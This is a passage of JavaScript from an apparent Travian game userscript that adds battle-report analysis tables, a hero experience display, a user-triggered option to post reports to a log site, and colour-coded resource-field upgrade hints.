')</b></i></font>';\n\t\t\t\t\ttable[0].parentNode.parentNode.appendChild(rowi);\n\t\t\t\t};\n\t\t\t\tfor(var i = 0; i < ats.length; i++)\n\t\t\t\t\tats[i] = ats[i] + atstemp[i];\n\t\t\t};\n\n\t\t\tfunction deftable()\n\t\t\t{\n\t\t\t\tvar statushero = 0;\n\t\t\t\tvar troops = 0; //1-romans 2-teutons 3-gauls 4-nature\n\t\t\t\tvar lostres = new Array(0,0,0,0);\n\t\t\t\tvar dtstemp = new Array(0,0,0,0,0,0);\n\t\t\t\tvar lostEnable = 1\n\t\t\t\tif(table[3 - warsim * 2].innerHTML.indexOf(\"u/1.gif\") > 0) troops = 1;\n\t\t\t\tif(table[3 - warsim * 2].innerHTML.indexOf(\"u/11.gif\") > 0) troops = 2;\n\t\t\t\tif(table[3 - warsim * 2].innerHTML.indexOf(\"u/21.gif\") > 0) troops = 3;\n\t\t\t\tif(table[3 - warsim * 2].innerHTML.indexOf(\"u/31.gif\") > 0) troops = 4;\n\t\t\t\tswitch (troops)\n\t\t\t\t{\n\t\t\t\t\tcase 1: tm = romans; break;\n\t\t\t\t\tcase 2: tm = teutons; break;\n\t\t\t\t\tcase 3: tm = gauls; break;\n\t\t\t\t\tcase 4: tm = nature; break;\n\t\t\t\t\tdefault: tm = null; break;\n\t\t\t\t}\n\t\t\t\tif(tm != null)\n\t\t\t\t{\n\t\t\t\t\tif(table[13].innerHTML.indexOf(\"img\") > 0) {statushero = 1; dts[4] = 1;}\n\t\t\t\t\tvar tda = 14 + statushero - warsim * 2;\n\t\t\t\t\tvar tdl = 25 + statushero * 2 - warsim * 2;\n\t\t\t\t\tif (!table[tdl])\n\t\t\t\t\t\tlostEnable = 0;\n\t\t\t\t\tfor(var i = 0; i <= (9 + statushero); i++)\n\t\t\t\t\t{\n\t\t\t\t\t\tdtstemp[0] = dtstemp[0] + table[tda + i].textContent * tm[i][1];\t// def1\n\t\t\t\t\t\tdtstemp[1] = dtstemp[1] + table[tda + i].textContent * tm[i][2];\t// def2\n\t\t\t\t\t\tdtstemp[3] = dtstemp[3] + table[tda + i].textContent * tm[i][7];\n\t\t\t\t\t\tif (lostEnable)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tlostres[0] = lostres[0] + table[tdl + i].textContent * tm[i][3];\n\t\t\t\t\t\t\tlostres[1] = lostres[1] + table[tdl + i].textContent * tm[i][4];\n\t\t\t\t\t\t\tlostres[2] = lostres[2] + table[tdl + i].textContent * tm[i][5];\n\t\t\t\t\t\t\tlostres[3] = lostres[3] + table[tdl + i].textContent * tm[i][6];\n\t\t\t\t\t\t\tdtstemp[5] = dtstemp[5] + table[tdl + i].textContent * tm[i][7];\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\tdtstemp[2] = lostres[0] + lostres[1] + lostres[2] + lostres[3];\n\t\t\t\t\ttable[2 - warsim * 2].innerHTML = '<img title=\"' + T('LBA2') + '\" src=\"' + img('a/def_i.gif') + '\" align=\"middle\" height=\"15\" width=\"15\">&nbsp;<font class=\"f8\"><i>' + dtstemp[0] + '</i></font><br><img title=\"' + T('LBA3') + '\" src=\"' + img('a/def_c.gif') + '\" align=\"middle\" height=\"15\" width=\"15\">&nbsp;<font class=\"f8\"><i>' + dtstemp[1] + '</i></font>';\n\t\t\t\t\trowi = $elem(\"tr\");\n\t\t\t\t\tcell1 = $elem(\"td\", '<font class=\"f8\"><i>' + T('PERDIDAS') + '</i></font>', {}, {}, rowi);\n\t\t\t\t\tcell2 = $elem(\"td\", \"\", {\n\t\t\t\t\t\t\"align\": \"left\",\n\t\t\t\t\t\t\"colspan\": 10 + statushero\n\t\t\t\t\t}, {}, rowi);\n//\t\t\tcell2.innerHTML='<font class=\"f8\"><i><img src=\"'+img('r/1.gif')+'\">'+lostres[0]+'&nbsp;<img src=\"'+img('r/2.gif')+'\">'+lostres[1]+'&nbsp;<img src=\"'+img('r/3.gif')+'\">'+lostres[2]+'&nbsp;<img src=\"'+img('r/4.gif')+'\">'+lostres[3]+'&nbsp; <b>(-'+dtstemp[2]+')</b></i></font>';\n\t\t\t\t\tfor(var i = 0; i < 4; i++)\n\t\t\t\t\t\tcell2.innerHTML += '<img src=\"' + img('r/' + (i + 1) + '.gif') + '\" _class=\"res\" title=\"' + T('RECURSO' + (i + 1)) + '\"> ' + lostres[i] + '&nbsp;';\n\t\t\t\t\tcell2.innerHTML = '<font class=\"f8\"><i>' + cell2.innerHTML + ' <img src=\"' + imagenes[\"imgpackgo\"] + '\" title=\"' + T('TOTAL') + '\"> <b>(-' + dtstemp[2] + ')</b></i></font>';\n\t\t\t\t\ttable[0].parentNode.parentNode.appendChild(rowi);\n\t\t\t\t};\n\t\t\t\tfor(var i = 0; i < dts.length; i++)\n\t\t\t\t\tdts[i] = dts[i] + dtstemp[i];\n\t\t\t}\n\n\t\t\tfunction generatereport()\n\t\t\t{\n\t\t\t\tif(ats[3] == 0) ats[2] = 0;\n\t\t\t\tvar lostA = ats[2] - ats[1];\n\t\t\t\tvar lostB = dts[2] + ats[2];\n\n\t\t\t\ttrep = $elem(\"table\", \"\", {\n\t\t\t\t\t\"cellpadding\": 2,\n\t\t\t\t\t\"cellspacing\": 1,\n\t\t\t\t\t\"class\": \"tbg\"\n\t\t\t\t});\n\t\t\t\trow1 = $elem(\"tr\", \"\", {\"class\": \"cbg1\"}, {}, trep);\n\t\t\t\trow2 = $elem(\"tr\", \"\", {}, {}, trep);\n\t\t\t\trow3 = $elem(\"tr\", \"\", {}, {}, trep);\n\t\t\t\trow4 = $elem(\"tr\", \"\", {}, {}, trep);\n\t\t\t\trow5 = $elem(\"tr\");\n\t\t\t\trow6 = $elem(\"tr\");\n\n\t\t\t\tcell = $elem(\"td\", {\"colspan\": 5}, {}, row1);\n\t\t\t\t$elem(\"b\", T('LBA4'), {\"class\": \"c1 b\"}, {}, cell);\n\n\t\t\t\tcell1 = $elem(\"td\", \"&nbsp;\", {}, {}, row2);\n\t\t\t\tcell2 = $elem(\"td\", \"\", {}, {}, row2);\n\t\t\t\t$elem(\"font\", \"<i>\" + T('LBA5') + \"</i>\", {\"class\": \"f8\"}, {}, cell2);\n\t\t\t\tcell3 = $elem(\"td\", \"\", {}, {}, row2);\n\t\t\t\t$elem(\"font\", \"<i>\" + T('LBA6') + \"</i>\", {\"class\": \"f8\"}, {}, cell3);\n\t\t\t\tcell4 = $elem(\"td\", \"\", {}, {}, row2);\n\t\t\t\t$elem(\"font\", \"<i>\" + T('LBA7') + \"</i>\", {\"class\": \"f8\"}, {}, cell4);\n\t\t\t\tcell5 = $elem(\"td\", \"\", {}, {}, row2);\n\t\t\t\t$elem(\"font\", \"<i>\" + T('CAPA') + \"</i>\", {\"class\": \"f8\"}, {}, cell5);\n\n\t\t\t\tcell1 = $elem(\"td\", T('LBA15'), {\"class\": \"c2 b\"}, {}, row3);\n\t\t\t\tcell2 = $elem(\"td\", lostA + '*<img src=\"' + img('r/4.gif') + '\" title=\"' + T('LBA9') + '\">', {\"align\": \"right\"}, {}, row3);\n\t\t\t\tcell3 = $elem(\"td\", ats[4] + '*<img src=\"' + img('r/5.gif') + '\" title=\"' + T('LBA10') + '\">', {\"align\": \"right\"}, {}, row3);\n\t\t\t\tcell4 = $elem(\"td\", \"\", {\"align\": \"right\"}, {}, row3);\n\t\t\t\tif(ats[5] == 0)\n\t\t\t\t\tcell4.innerHTML = '0*<img src=\"' + img('a/del.gif') + '\" title=\"' + T('LBA11') + '\">';\n\t\t\t\telse\n\t\t\t\t\tcell4.innerHTML= dts[5] + '*<img src=\"' + img('u/hero.gif') + '\" title=\"' + T('LBA12') + '\">';\n\t\t\t\tcell5 = $elem(\"td\", ats[2] + '*<img src=\"' + imagenes[\"imgpackgo\"] + '\" title=\"' + T('LBA13') + '\"><br>' + ats[3] + '*<img src=\"' + imagenes[\"imgpack\"] + '\" title=\"' + T('LBA14') + '\">', {\n\t\t\t\t\t\"align\": \"right\",\n\t\t\t\t\t\"rowspan\": 2\n\t\t\t\t}, {}, row3);\n\n\t\t\t\tcell1 = $elem(\"td\", T('LBA16'), {\"class\": \"c1 b\"}, {}, row4);\n\t\t\t\tcell2 = $elem(\"td\", (-lostB) + '*<img src=\"' + img('r/4.gif') + '\" title=\"' + T('LBA9') + '\">', {\"align\": \"right\"}, {}, row4);\n\t\t\t\tcell3 = $elem(\"td\", dts[3] + '*<img src=\"' + img('r/5.gif') + '\" title=\"' + T('LBA10') + '\">', {\"align\": \"right\"}, {}, row4);\n\t\t\t\tcell4 = $elem(\"td\", \"\", {\"align\": \"right\"}, {}, row4);\n\t\t\t\tif(dts[4] == 0)\n\t\t\t\t\tcell4.innerHTML = '0*<img src=\"' + img('a/del.gif') + '\" title=\"' + T('LBA11') + '\">';\n\t\t\t\telse\n\t\t\t\t\tcell4.innerHTML = ats[6] + '*<img src=\"' + img('u/hero.gif') + '\" title=\"' + T('LBA12') + '\">';\n\n\t\t\t\tif (warsim != 1 && worksave >= 1)\n\t\t\t\t{\n\t\t\t\t\tcell1 = $elem(\"td\", \"\", {\n\t\t\t\t\t\t'colspan': 5,\n\t\t\t\t\t\t'align': 'left'\n\t\t\t\t\t}, {}, row6);\n\n\t\t\t\t\tvar travilogForm = $elem(\"form\", \"\", {\n\t\t\t\t\t\t'action': 'http://travilog.org.ua',\n\t\t\t\t\t\t'method': 'post',\n\t\t\t\t\t\t'target': 'tba_travilogIFrame',\n\t\t\t\t\t\t'id': 'tba_travilogForm'\n\t\t\t\t\t}, {}, cell1);\n\n\t\t\t\t\ttravilogForm.addEventListener('submit', function()\n\t\t\t\t\t{\n\t\t\t\t\t\tget(\"tba_travilogIframeRow\").style.display = \"\";\n\t\t\t\t\t\tget(\"tba_travilogIframeRowDiv\").style.display = \"\";\n\t\t\t\t\t\tget(\"tba_travilogIFrameId\").style.display = \"none\";\n\t\t\t\t\t}, false);\n\n\t\t\t\t\tvar data1 = $elem(\"input\", \"\", {\n\t\t\t\t\t\t\"type\": \"hidden\",\n\t\t\t\t\t\t\"name\": \"new_old\",\n\t\t\t\t\t\t\"value\": \"new\"\n\t\t\t\t\t}, {}, travilogForm);\n\n\t\t\t\t\tvar data2 = $elem(\"input\", \"\", {\n\t\t\t\t\t\t\"type\": \"hidden\",\n\t\t\t\t\t\t\"name\": \"act\",\n\t\t\t\t\t\t\"value\": \"inputlog\"\n\t\t\t\t\t}, {}, travilogForm);\n\n\t\t\t\t\tvar data3 = $elem(\"input\", \"\", {\n\t\t\t\t\t\t\"type\": \"hidden\",\n\t\t\t\t\t\t\"name\": \"server\",\n\t\t\t\t\t\t\"value\": \"\"\n\t\t\t\t\t}, {}, travilogForm);\n\n\t\t\t\t\tvar data4 = $elem(\"input\", \"\", {\n\t\t\t\t\t\t\"type\": \"hidden\",\n\t\t\t\t\t\t\"name\": \"lng\",\n\t\t\t\t\t\t\"value\": ext ? ext : 'en'\n\t\t\t\t\t}, {}, travilogForm);\n\n\t\t\t\t\tvar data5 = $elem(\"input\", \"\", {\n\t\t\t\t\t\t\"type\": \"hidden\",\n\t\t\t\t\t\t\"name\": \"tools\",\n\t\t\t\t\t\t\"value\": (worksave > 1) ? \"\" : \"tba\"\n\t\t\t\t\t}, {}, travilogForm);\n\n\t\t\t\t\tvar data6 = $elem(\"input\", \"\", {\n\t\t\t\t\t\t\"type\": \"hidden\",\n\t\t\t\t\t\t\"name\": \"GMT\",\n\t\t\t\t\t\t\"value\": new Date().getTimezoneOffset()\n\t\t\t\t\t}, {}, travilogForm);\n\n\t\t\t\t\tvar data7 = $elem(\"input\", \"\", {\n\t\t\t\t\t\t\"type\": \"hidden\",\n\t\t\t\t\t\t\"name\": \"text\",\n\t\t\t\t\t\t\"value\": saveBeta\n\t\t\t\t\t}, {}, travilogForm);\n\n\t\t\t\t\tvar button1 = $elem(\"input\", \"\", {\n\t\t\t\t\t\t\"type\": \"submit\",\n\t\t\t\t\t\t\"onclick\": \"document.getElementById('tba_travilogForm').submit()\",\n\t\t\t\t\t\t\"value\": T(\"SAVEREPORT\")\n\t\t\t\t\t}, {}, travilogForm);\n\n\t\t\t\t\tvar button2 = $elem(\"input\", \"\", {\n\t\t\t\t\t\t\"type\": \"checkbox\",\n\t\t\t\t\t\t\"name\": \"anonymous\",\n\t\t\t\t\t\t\"value\": 1\n\t\t\t\t\t}, {}, travilogForm);\n\n\t\t\t\t\t$elem(\"span\", T(\"ANONYMIZE\"), {}, {}, travilogForm);\n\t\t\t\t\trow7 = $elem(\"tr\", \"\", {\"id\": 'tba_travilogIframeRow'}, {\"display\": \"none\"});\n\t\t\t\t\tcell1 = $elem(\"td\", \"\", {'colspan': '5'}, {}, row7);\n\t\t\t//\t\tcell1.setAttribute('align', 'left');\n\n\t\t\t\t\tvar divLoading = $elem('div', \"<b>--= Loading =--</b>\", {\"id\": 'tba_travilogIframeRowDiv'}, {}, cell1);\n\t\t\t\t\tvar travilogIFrame = $elem(\"iframe\", \"Loading\", {\n\t\t\t\t\t\t\"name\": 'tba_travilogIFrame',\n\t\t\t\t\t\t\"id\": 'tba_travilogIFrameId'\n\t\t\t\t\t}, {\n\t\t\t\t\t\t'border': '0px',\n\t\t\t\t\t\t'width': '100%',\n\t\t\t\t\t\t'height': '7.5em'\n\t\t\t\t\t}, cell1);\n\n\t\t\t\t\ttravilogIFrame.addEventListener('load', function()\n\t\t\t\t\t{\n\t\t\t\t\t\tget(\"tba_travilogIFrameId\").style.display = \"\";\n\t\t\t\t\t\tget(\"tba_travilogIframeRowDiv\").style.display = \"none\";\n\t\t\t\t\t}, false);\n\t\t\t\t}\n\t\t\t\tif (warsim != 1 && worksave >= 1)\n\t\t\t\t{\n\t\t\t\t\ttrep.appendChild(row5);\n\t\t\t\t\ttrep.appendChild(row6);\n\t\t\t\t\ttrep.appendChild(row7);\n\t\t\t\t}\n\t\t\t\t$tags(\"td\", tab.snapshotItem(0))[5].appendChild($elem(\"p\"));\n\t\t\t\tif(warsim == 0)\n\t\t\t\t\t$tags(\"td\", tab.snapshotItem(0))[5].appendChild(trep);\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\ttab.snapshotItem(1).parentNode.parentNode.insertBefore(trep, tab.snapshotItem(1).parentNode.nextSibling);\n\t\t\t\t\ttab.snapshotItem(1).parentNode.parentNode.insertBefore($elem('p'), tab.snapshotItem(1).parentNode.nextSibling);\n\t\t\t\t};\n\t\t\t}\n\t\t\tmainBattleAnalyse();\n\t\t}\n\t}\n\n\tfunction genreporta2b()\n\t{\n\t\tvar BattleAnalyse = readCookie(\"BattleAnalyse\" + server);\n\t\tif (BattleAnalyse == true || BattleAnalyse == null)\n\t\t{\n\t\t\tvar trep = $elem(\"table\", \"\", {\n\t\t\t\t'cellpadding': 2,\n\t\t\t\t'cellspacing': 1,\n\t\t\t\t'class': 'tbg'\n\t\t\t});\n\t\t\tvar row1 = $elem(\"tr\", \"\", {\"class\": \"cbg1\"}, {}, trep);\n\t\t\tvar row2 = $elem(\"tr\", \"\", {}, {}, trep);\n\t\t\tvar row3 = $elem(\"tr\", \"\", {}, {}, trep);\n\n\t\t\tvar cell = $elem(\"td\", \"\", {\"colspan\": 5}, {}, row1);\n\t\t\t$elem(\"b\", T('LBA4'), {\"class\": \"c1 b\"}, {}, cell);\n\n\t\t\tvar cell1 = $elem(\"td\", \"\", {'colspan': 3}, {'width': '60%'}, row2);\n\t\t\t$elem(\"font\", \"<i>\" + T('LBA15') + \"</i>\", {\"class\": \"f8\"}, {}, cell1);\n\t\t\tvar cell3 = $elem(\"td\", \"\", {}, {'width': '20%'}, row2);\n\t\t\t$elem(\"font\", \"<i>\" + T('LBA6') + \"</i>\", {\"class\": \"f8\"}, {}, cell3);\n\t\t\tvar cell5 = $elem(\"td\", \"\", {}, {'width': '20%'}, row2);\n\t\t\t$elem(\"font\", \"<i>\" + T('CAPA') + \"</i>\", {\"class\": \"f8\"}, {}, cell5);\n\n\t\t\tcell1 = $elem(\"td\", '<span id=\"ats0\">' + ats[0] + '</span>*<img src=\"' + img('a/att_all.gif') + '\" title=\"' + T('LBA0') + '\">', {\"align\": \"right\"}, {}, row3);\n\t\t\tvar cell2 = $elem(\"td\", '<span id=\"ats1\">' + ats[1] + '</span>*<img src=\"' + img('a/def_i.gif') + '\" title=\"' + T('LBA2') + '\">', {\"align\": \"right\"}, {}, row3);\n\t\t\tcell3 = $elem(\"td\", '<span id=\"ats2\">' + ats[2] + '</span>*<img src=\"' + img('a/def_c.gif') + '\" title=\"' + T('LBA3') + '\">', {\"align\": \"right\"}, {}, row3);\n\t\t\tvar cell4 = $elem(\"td\", '<span id=\"ats4\">' + ats[4] + '</span>*<img src=\"' + img('r/5.gif') + '\" title=\"' + T('LBA10') + '\">', {\"align\": \"right\"}, {}, row3);\n\t\t\tcell5 = $elem(\"td\", '<span id=\"ats3\">' + ats[3] + '</span>*<img src=\"' + imagenes[\"imgpack\"] + '\" title=\"' + T('LBA14') + '\">', {\"align\": \"right\", \"rowspan\": 2}, {}, row3);\n\n\t\t\tvar t = find('//div[@id=\"lmid2\"]/form/table[@class=\"f10\"]', XPList);\n\t\t\tif (t.snapshotLength != 0)\n\t\t\t{\tt.snapshotItem(0).parentNode.insertBefore(trep, t.snapshotItem(0));\n\t\t\t\tt.snapshotItem(0).parentNode.insertBefore($elem('p'), t.snapshotItem(0));\n\t\t\t}\n\t\t}\n\t}\n\n\tfunction a2b()\n\t{\n\t\tvar BattleAnalyse = readCookie(\"BattleAnalyse\" + server);\n\t\tif (BattleAnalyse == true || BattleAnalyse == null)\n\t\t{\n\t\t\tvar ats = [0,0,0,0,0,0,0,0];\n\t\t\tvar list = find('//table[@class=\"p1\"]/tbody/tr/td/table[@class=\"f10\"]/tbody/tr/td/input', XPList);\n\t\t\tif(list.snapshotLength == 0){/*alert('Error:Find Table,a2b'); */return;}\n\t\t\tif(list.snapshotItem(0).parentNode.parentNode.childNodes[1].innerHTML.indexOf(\"u/1.gif\") > 0) troops = 1;\n\t\t\tif(list.snapshotItem(0).parentNode.parentNode.childNodes[1].innerHTML.indexOf(\"u/11.gif\")> 0) troops = 2;\n\t\t\tif(list.snapshotItem(0).parentNode.parentNode.childNodes[1].innerHTML.indexOf(\"u/21.gif\")> 0) troops = 3;\n\t\t\tswitch (troops)\n\t\t\t{\n\t\t\t\tcase 1: tm = romans; break;\n\t\t\t\tcase 2: tm = teutons; break;\n\t\t\t\tcase 3: tm = gauls; break;\n\t\t\t\tdefault: tm = null; break;\n\t\t\t}\n\t\t\tif(tm == null){alert('Error:Bad troops,a2b'); return;}\n\t\t\tfor(var i = 0; i < list.snapshotLength; i++)\n\t\t\t{\n\t\t\t\tunit = parseInt(list.snapshotItem(i).getAttribute('name').match(/(\\d+)/)[1]) - 1;\n\t\t\t\tval = parseInt(list.snapshotItem(i).value);\n\t\t\t\tif(isNaN(val)) val = 0;\n\t\t\t\tats[0] = ats[0] + val * tm[unit][0];\t// attack\n\t\t\t\tats[1] = ats[1] + val * tm[unit][1];\t// def1\n\t\t\t\tats[2] = ats[2] + val * tm[unit][2];\t// def2\n\t\t\t\tats[3] = ats[3] + val * tm[unit][9];\t// load\n\t\t\t\tats[4] = ats[4] + val * tm[unit][7];\t// food\n\t\t\t}\n\t\t\teats0 = get('ats0');\n\t\t\teats1 = get('ats1');\n\t\t\teats2 = get('ats2');\n\t\t\teats3 = get('ats3');\n\t\t\teats4 = get('ats4');\n\t\t\teats0.textContent = ats[0];\n\t\t\teats1.textContent = ats[1];\n\t\t\teats2.textContent = ats[2];\n\t\t\teats3.textContent = ats[3];\n\t\t\teats4.textContent = ats[4];\n\t\t}\n\t}\n\n\t/**\n\t* In development by Booboo inspired from MeXaon's travian hero status\n\t* script.\n\t**/\n\tfunction heroStatus()\n\t{\tvar table = find(\"//a[contains(@href, '&rename')]/ancestor::tbody\", XPFirst);\n\t\tif (table)\n\t\t{\tvar dir1 = textDirection == \"ltr\" ? \"left\" : \"right\";\n\t\t\tvar dir2 = textDirection == \"ltr\" ? \"right\" : \"left\";\n\t\t\tvar td = $tags(\"td\", table);\n\t\t\tvar herosLevel = parseInt(td[0].textContent.match(/\\s+(\\d+)\\s+\\(/)[0]);\n\t\t\tvar percent = parseInt(td[28].textContent.match(/\\d+/));\n\t\t\tvar baseXP = herosLevel*50*(herosLevel+1);\n\t\t\tvar XPforNextLevel = 100*(herosLevel+1);\n\t\t\tvar levelBound = baseXP + XPforNextLevel;\n\t\t\tvar actualXP = baseXP+XPforNextLevel*percent/100;\n\t\t\ttable = $elem(\"table\", \"\", {\"width\": \"100%\"}, {}, td[27]);\n\t\t\tvar tr = $elem('tr', '', {}, {}, table);\n\t\t\t$elem(\"td\", T(\"THS0\"), {\"align\": dir1}, {\"fontWeight\": \"bold\"}, tr);\n\t\t\t$elem(\"td\", actualXP, {\"align\": dir2}, {\"color\": \"#280\"}, tr);\n\t\t\tvar tr = $elem('tr', '', {}, {}, table);\n\t\t\t$elem(\"td\", T(\"THS1\"), {\"align\": dir1}, {\"fontWeight\": \"bold\"}, tr);\n\t\t\t$elem(\"td\", levelBound, {\"align\": dir2}, {\"fontWeight\": \"bold\"}, tr);\n\t\t\tvar tr = $elem('tr', '', {}, {}, table);\n\t\t\t$elem(\"td\", T(\"THS2\"), {\"align\": dir1}, {\"fontWeight\": \"bold\"}, tr);\n\t\t\t$elem(\"td\", levelBound-actualXP, {\"align\": dir2}, {\"color\": \"orange\"}, tr);\n\t\t}\n\t}\n\n\t/** Faire une page de résumé de la production */\n\tfunction preCalculate1()\n\t{\n\t\tvar datos = 0;\n\t\tvar capital = readCookie(\"capital\" + server + userID, 0);\n\t\t/*if (!capital)\n\t\t{\n\t\t\tcapital = prompt(decodeEntity(T('TAB28')));\n\t\t\tcreateCookie((\"capital\" + server + userID), capital, 365);\n\t\t}*/\n\t\tvar boolIsThisTheCapital;\n\t\tif (capital == \"\") {\n\t\t\tboolIsThisTheCapital = true;\n\t\t} else {\n\t\t\tboolIsThisTheCapital = id_aldea == capital;\n\t\t};\n\t\tvar maxlvl;\n\t\tif (id_aldea == capital) maxlvl = 25; else maxlvl = 10;\n\t\tvar currentTotalRes = 0;\n\t\tfor (i = 0; i < 4; i++) {\n\t\tcurrentTotalRes += parseInt(actual[i]);\n\t\t}\n\t\t\t\t//create the DIV for the coloured level numbers\n\t\tvar posDIV = $elem(\"DIV\", \"\", {\"id\": \"resDiv\"}, {}, \"lmid2\");\n\t\tif (getDocDirection == 'rtl') {\n\t\t\tposDIV.setAttribute('style', 'position:absolute; top:69px; left:257px; z-index:20;');\n\t\t}\n\n\t\t// Crea una matriz inicializada a 0 con todos los posibles niveles de cada tipo de recurso\n\t\tvar grid = new Array(4);\n\t\tfor (var i = 0; i < 4; i++)\n\t\t{\n\t\t\tgrid[i] = new Array(26);\n\t\t\tfor (var j = 0; j <= 25; j++)\n\t\t\t{\n\t\t\t\tgrid[i][j] = 0;\n\t\t\t}\n\t\t}\n\n\t\t// Solo hay 6 tipos de aldeas de 15 casillas cada uno. Se describe el tipo de resource por casilla\n\t\tvar dist = [\n\t\t\t[3, 3, 0, 3, 3, 1, 2, 3, 3, 2, 2, 3, 3, 0, 3, 1, 0, 1], // 9 cereales\n\t\t\t[2, 3, 0, 2, 1, 1, 2, 3, 3, 2, 2, 3, 3, 0, 3, 1, 0, 1],\n\t\t\t[0, 3, 0, 2, 1, 1, 2, 3, 3, 2, 2, 3, 3, 0, 3, 1, 0, 1],\n\t\t\t[0, 3, 0, 1, 1, 1, 2, 3, 3, 2, 2, 3, 3, 0, 3, 1, 0, 1],\n\t\t\t[0, 3, 0, 2, 0, 1, 2, 3, 3, 2, 2, 3, 3, 0, 3, 1, 0, 1],\n\t\t\t[3, 3, 0, 2, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 1, 3, 3] // 15 cereales\n\t\t];\n\n\t\tfind(\"//div[starts-with(@id, 'f')]\", XPFirst).id.search(/f(\\d)/);\n\t\tvar tipo = RegExp.$1;\n\n\t\t// get all fields and fill the matrix with the levels detected\n\t\tfor (var i = 1; i <= 18; i++){\n\t\t\tvar a = find(\"//img[@class='rf\" + i + \"']\", XPFirst);\n\t\t\tvar title = find(\"//area[@href='build.php?id=\" + i +\"']\", XPFirst).title;\n\n\t\t\tvar resLink = $elem(\"A\", \"\", {\"title\": title, \"id\": \"RES\" + i, \"href\": \"build.php?id=\" + i, \"class\": \"rf\" + i});\n\t\t\tvar aDIV = $elem(\"DIV\", \"\", {\"title\": title, \"id\": 'Res' + i, \"class\": 'CNbuildingtags'}, {}, resLink);\n\t\t\t//aDIV.className = 'CNresLevel';\n\t\t\tif (posDIV)\n\t\t\t\tposDIV.appendChild(resLink);\n\t\t\tvar crtLevel = 0;\n\n\t\t\tif (a){\n\t\t\t\ta.src.search(/\\/s(\\d+).gif$/);\n\t\t\t\tcrtLevel = parseInt(RegExp.$1);\n\t\t\t\tgrid[dist[tipo - 1][i - 1]][crtLevel] = i;\n\t\t\t} else {\n\t\t\t\tgrid[dist[tipo - 1][i - 1]][0] = i;\n\t\t\t\tcrtLevel = 0;\n\t\t\t}\n\n\t\t\t\tinitvillinfo2 = readCookie(\"initvillinfo2\" + server);\n\t\t\tif (initvillinfo2 == true || initvillinfo2 == null)\n\t\t\t{\n\t\t\t\t// by ms99, Nux\n\t\t\t\tif ((boolIsThisTheCapital) || (!boolIsThisTheCapital && crtLevel < 10)){\n\t\t\t\t\t//select resource type\n\t\t\t\t\tvar boolNotUpgradable = false;\n\t\t\t\t\tvar boolIsUpgradableViaNPC = false;\n\t\t\t\t\tvar neededTotalRes = 0;\n\t\t\t\t\teval('var nameStruct = ' + gidToName[parseInt(dist[tipo - 1][i - 1]) + 1] + 'Cost;');\n\t\t\t\t\tfor (k = 0; k < 4; k++) {\n\t\t\t\t\t\tif (actual[k] < nameStruct[crtLevel + 1][k]) {\n\t\t\t\t\t\t\tboolNotUpgradable = true;\n\t\t\t\t\t\t}\n\t\t\t\t\t\tneededTotalRes += nameStruct[crtLevel + 1][k]\n\t\t\t\t\t}\n\t\t\t\t\tif (neededTotalRes <= currentTotalRes) {\n\t\t\t\t\t\tboolIsUpgradableViaNPC = true;\n\t\t\t\t\t}\n\t\t\t\t\tif (boolIsUpgradableViaNPC && boolNotUpgradable) {\n\t\t\t\t\t\taDIV.style.visibility = 'visible';\n\t\t\t\t\t\taDIV.style.backgroundColor = CN_COLOR_UPGRADABLE_VIA_NPC;\n\t\t\t\t\t} else if (boolNotUpgradable) {\n\t\t\t\t\t\taDIV.style.visibility = 'visible';\n\t\t\t\t\t\taDIV.style.backgroundColor = CN_COLOR_NO_UPGRADE;\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\taDIV.style.visibility = 'visible';\n\t\t\t\t\taDIV.style.backgroundColor = CN_COLOR_MAX_LEVEL;\n\t\t\t\t}\n\t\t\t\taDIV.innerHTML = '' + crtLevel;\n\t\t\t}\n\t\t}\n\t\tvar tableaudorf1 = readCookie(\"tableaudorf1\" + server);\n\t\tif (tableaudorf1 == true || tableaudorf1 == null)\n\t\t{\n\t\t\t// Crea una tabla mostrando por cada tipo de recurso un representante de cada nivel que se ha encontrado\n\t\t\t// Muestra al lado de cada uno los recursos y tiempo restantes hasta poder subirlo de nivel\n\t\t\tvar table = $elem('TABLE', '', {\n\t\t\t\t\"id\": \"resumen\",\n\t\t\t\t\"class\": \"tbg\",\n\t\t\t\t\"align\": textDirection == \"ltr\" ? \"left\" : \"right\",\n\t\t\t\t\"cellspacing\": \"1\",\n\t\t\t\t\"cellpadding\": \"2\"\n\t\t\t}, {\"clear\":\"both\"});\n\t\t\tvar fila1 = $elem('TR', '',\n\t\t\t{\n\t\t\t\t'class': 'rbg'\n\t\t\t}, {}, table);\n\t\t\tvar fila2 = $elem('TR', \"\", {}, {}, table);\n\t\t\tfor (var i = 0; i < 4; i++)\n\t\t\t{\n\t\t\t\tvar td1 = $elem('TD', '<img src=\"' + img('r/' + (i + 1) + '.gif') + '\" width=\"18\" height=\"12\" border=\"0\" title=\"' + T('RECURSO' + (i + 1)) + '\">', {}, {}, fila1);\n\t\t\t\t//\tvar td1 = $elem('TD', '<img src=\"data:image/gif;base64,' + imagenes[\"img\"+(i+1)] + '\" width=\"18\" height=\"12\" border=\"0\" title=\"' + T('RECURSO' + (i+1)) + '\">');\n\n\t\t\t\tvar td2 = $elem('TD', '', {\n\t\t\t\t\t'width': '25%',\n\t\t\t\t\t'valign': 'top'\n\t\t\t\t}, {}, fila2);\n\n\t\t\t\tvar table2 = $elem('TABLE', '', {\n\t\t\t\t\t'align': 'center',\n\t\t\t\t\t'valign': 'top'\n\t\t\t\t\t}, {}, td2);\n\t\t\t\tfor (var j = 0; j < maxlvl; j++)\n\t\t\t\t{\n\t\t\t\t\tif (grid[i][j] > 0 && buildingCost[i][j + 1] != null)\n\t\t\t\t\t{\n\t\t\t\t\t\tdatos = 1;\n\t\t\t\t\t\tvar fila3 = $elem('TR');\n\t\t\t\t\t\timgx = readCookie(\"imgx\");\n\t\t\t\t\t\tif (imgx == true || imgx == null)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tvar imagen = '<a href=\"/build.php?id=' + grid[i][j] + '\"><div style=\"width: 0%;\"><img src=\"' + imagenes[\"r\" + i] + '\"border=\"0\" title=\"' + T('RECURSO' + (i + 1)) + '\">';\n\t\t\t\t\t\t}\n\t\t\t\t\t\telse\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tvar imagen = '<a href=\"/build.php?id=' + grid[i][j] + '\"><div style=\"width: 0%;\"><img src=\"' + img('m/zz' + (i + 1) + '.gif') + '\"border=\"0\" title=\"' + T('RECURSO' + (i + 